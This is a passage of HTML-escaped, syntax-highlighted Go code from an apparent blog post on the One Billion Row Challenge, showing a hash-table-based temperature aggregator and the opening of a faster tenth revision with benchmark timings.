&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">LimitedReader&lt;/span>{&lt;span style="color:#a6e22e">R&lt;/span>: &lt;span style="color:#a6e22e">file&lt;/span>, &lt;span style="color:#a6e22e">N&lt;/span>: &lt;span style="color:#a6e22e">fileSize&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">item&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stat&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r9Stats&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">numBuckets&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">17&lt;/span> &lt;span style="color:#75715e">// number of hash buckets (power of 2)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">items&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">item&lt;/span>, &lt;span style="color:#a6e22e">numBuckets&lt;/span>) &lt;span style="color:#75715e">// hash buckets, linearly probed&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#75715e">// number of active items in items slice&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#ae81ff">1024&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">1024&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">readStart&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#a6e22e">readStart&lt;/span>:])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">readStart&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">readStart&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">n&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">newline&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">LastIndexByte&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">newline&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">remaining&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">newline&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[:&lt;span style="color:#a6e22e">newline&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">const&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// FNV-1 64-bit constants from hash/fnv.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset64&lt;/span> = &lt;span style="color:#ae81ff">14695981039346656037&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">prime64&lt;/span> = &lt;span style="color:#ae81ff">1099511628211&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">after&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> uint64(&lt;span style="color:#a6e22e">offset64&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> ; &lt;span style="color:#a6e22e">i&lt;/span> &amp;lt; len(&lt;span style="color:#a6e22e">chunk&lt;/span>); &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">c&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;;&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[:&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">after&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> ^= uint64(&lt;span style="color:#a6e22e">c&lt;/span>) &lt;span style="color:#75715e">// FNV-1a is XOR then *&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">*=&lt;/span> &lt;span style="color:#a6e22e">prime64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">==&lt;/span> len(&lt;span style="color:#a6e22e">chunk&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> = &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;.&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span> &lt;span style="color:#75715e">// skip &amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#75715e">// skip last digit and &amp;#39;\n&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> = &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int(&lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> (&lt;span style="color:#a6e22e">numBuckets&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">1&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Found empty slot, add new item (copying key).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, len(&lt;span style="color:#a6e22e">station&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> copy(&lt;span style="color:#a6e22e">key&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>] = &lt;span style="color:#a6e22e">item&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span>: &lt;span style="color:#a6e22e">key&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stat&lt;/span>: &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">r9Stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: int64(&lt;span style="color:#a6e22e">temp&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">size&lt;/span> &amp;gt; &lt;span style="color:#a6e22e">numBuckets&lt;/span>&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">2&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#e6db74">&amp;#34;too many items in hash table&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Equal&lt;/span>(&lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">key&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Found matching slot, add to existing stats.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span>[&lt;span style="color:#a6e22e">hashIndex&lt;/span>].&lt;span style="color:#a6e22e">stat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// Slot already holds another key, try next slot (linear probe).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#a6e22e">numBuckets&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hashIndex&lt;/span> = &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">readStart&lt;/span> = copy(&lt;span style="color:#a6e22e">buf&lt;/span>, &lt;span style="color:#a6e22e">remaining&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r9Stats&lt;/span>, &lt;span style="color:#a6e22e">size&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">item&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">items&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">key&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span>[string(&lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">key&lt;/span>)] = &lt;span style="color:#a6e22e">item&lt;/span>.&lt;span style="color:#a6e22e">stat&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-10-all-the-previous-optimizations-plus-faster-semicolon-finding-and-hashing">Solution 10: all the previous optimizations plus faster semicolon finding and hashing&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r10: all the previous optimizations plus faster semicolon finding and&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// hashing&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// Translated from Java by Menno Finlay-Smits Ideas with ideas taken from&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// this fast Java solution:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// https://github.com/gunnarmorling/1brc/blob/main/src/main/java/dev/morling/onebrc/CalculateAverage_mtopolnik.java&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// On my (Ben&amp;#39;s) laptop I get these initial results:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// $ ./go-1brc -revision=1 ../1brc/data/measurements.txt &amp;gt;out-r1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// Processed 13156.2MB in 1m39.507011009s&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// $ ./go-1brc -revision=9 ../1brc/data/measurements.txt &amp;gt;out-r9&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// Processed 13156.2MB in 2.893693843s # 34.4x as fast as the r1 above&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// $ ./go-1brc -revision=10 ../1brc/data/measurements.txt &amp;gt;out-r10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// Processed 13156.2MB in 2.497241029s # 39.8x as fast as the r1 above&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;encoding/binary&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;math/bits&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">BroadcastSemicolon&lt;/span> = &lt;span style="color:#ae81ff">0x3B3B3B3B3B3B3B3B&lt;/span>
